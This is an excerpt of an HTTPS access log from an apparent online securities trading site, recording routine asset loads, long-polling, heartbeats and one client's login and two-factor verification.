[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161913 HTTP/1.1" 2043
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161913 HTTP/1.1" 2106
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161913 HTTP/1.1" 3099
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161913 HTTP/1.1" 1730
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161913 HTTP/1.1" 1362
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161913 HTTP/1.1" 6736
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161913 HTTP/1.1" 303
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161913 HTTP/1.1" 481
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161913 HTTP/1.1" 1658
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/dialog.html?1767940386243 HTTP/1.1" 3179
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:14:28:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:28:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:28:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940387223 HTTP/1.1" -
[09/Jan/2026:14:28:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:28:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:28:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940404202 HTTP/1.1" -
[09/Jan/2026:14:28:39 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940395188 HTTP/1.1" -
[09/Jan/2026:14:28:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940392266 HTTP/1.1" -
[09/Jan/2026:14:28:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940409226 HTTP/1.1" -
[09/Jan/2026:14:28:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940400223 HTTP/1.1" -
[09/Jan/2026:14:28:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940397316 HTTP/1.1" -
[09/Jan/2026:14:28:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940414293 HTTP/1.1" -
[09/Jan/2026:14:28:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940405316 HTTP/1.1" -
[09/Jan/2026:14:28:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:28:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:28:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:28:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:28:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:28:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:28:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckIsEnableRSA HTTP/1.1" 1
[09/Jan/2026:14:28:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckPwEncryptType HTTP/1.1" -
[09/Jan/2026:14:28:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:14:28:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:28:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940402497 HTTP/1.1" -
[09/Jan/2026:14:28:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940419366 HTTP/1.1" -
[09/Jan/2026:14:28:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940410408 HTTP/1.1" -
[09/Jan/2026:14:28:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Login HTTP/1.1" 453
[09/Jan/2026:14:28:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/2FA_authentication.html?language=sc&version=HTML HTTP/1.1" 1468
[09/Jan/2026:14:28:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/style.css?v=20200819161913 HTTP/1.1" 1435
[09/Jan/2026:14:28:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/style_common.css?v=20200819161913 HTTP/1.1" 2540
[09/Jan/2026:14:28:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:14:28:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:14:28:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:14:28:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:14:28:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:14:28:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:14:28:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:14:28:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:14:28:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0-iAsiaEdition.js HTTP/1.1" 6651
[09/Jan/2026:14:28:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161913 HTTP/1.1" 400
[09/Jan/2026:14:28:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161913 HTTP/1.1" 3881
[09/Jan/2026:14:28:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/user/translation.js?jsv=20200819161913 HTTP/1.1" 12866
[09/Jan/2026:14:28:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161913 HTTP/1.1" 6636
[09/Jan/2026:14:28:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161913 HTTP/1.1" 886
[09/Jan/2026:14:28:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/user/custom_variables.js?jsv=20200819161913 HTTP/1.1" 275
[09/Jan/2026:14:28:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/2fa.js?jsv=20200819161913 HTTP/1.1" 1953
[09/Jan/2026:14:28:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161913 HTTP/1.1" 1684
[09/Jan/2026:14:28:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/webpage_settings.js?jsv=20200819161913 HTTP/1.1" 33
[09/Jan/2026:14:28:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:14:28:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161913 HTTP/1.1" 1684
[09/Jan/2026:14:28:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:28:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Get2FAInfoService HTTP/1.1" 109
[09/Jan/2026:14:28:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:14:28:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/dialog.html?1767940404942 HTTP/1.1" 3179
[09/Jan/2026:14:28:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:14:28:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940407686 HTTP/1.1" -
[09/Jan/2026:14:28:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940424390 HTTP/1.1" -
[09/Jan/2026:14:28:59 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940415451 HTTP/1.1" -
[09/Jan/2026:14:29:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940412834 HTTP/1.1" -
[09/Jan/2026:14:29:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940429445 HTTP/1.1" -
[09/Jan/2026:14:29:05 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940420541 HTTP/1.1" -
[09/Jan/2026:14:29:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:29:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:29:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:29:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:29:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940418061 HTTP/1.1" -
[09/Jan/2026:14:29:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:29:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:29:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940434507 HTTP/1.1" -
[09/Jan/2026:14:29:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940425612 HTTP/1.1" -
[09/Jan/2026:14:29:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940423112 HTTP/1.1" -
[09/Jan/2026:14:29:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940439574 HTTP/1.1" -
[09/Jan/2026:14:29:15 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940430648 HTTP/1.1" -
[09/Jan/2026:14:29:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940428174 HTTP/1.1" -
[09/Jan/2026:14:29:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940444598 HTTP/1.1" -
[09/Jan/2026:14:29:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940435755 HTTP/1.1" -
[09/Jan/2026:14:29:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:29:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:29:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:29:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:29:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:29:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:29:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940433294 HTTP/1.1" -
[09/Jan/2026:14:29:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940449627 HTTP/1.1" -
[09/Jan/2026:14:29:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940440849 HTTP/1.1" -
[09/Jan/2026:14:29:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat2FAService HTTP/1.1" 1
[09/Jan/2026:14:29:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940438453 HTTP/1.1" -
[09/Jan/2026:14:29:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940454656 HTTP/1.1" -
[09/Jan/2026:14:29:30 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940445887 HTTP/1.1" -
[09/Jan/2026:14:29:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:29:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Verify2FAService HTTP/1.1" 420
[09/Jan/2026:14:29:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/main.html?language=sc&version=HTML HTTP/1.1" 3570
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/style_common.css?v=20200819161913 HTTP/1.1" 2540
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/style.css?v=20200819161913 HTTP/1.1" 1435
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161913 HTTP/1.1" 940
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
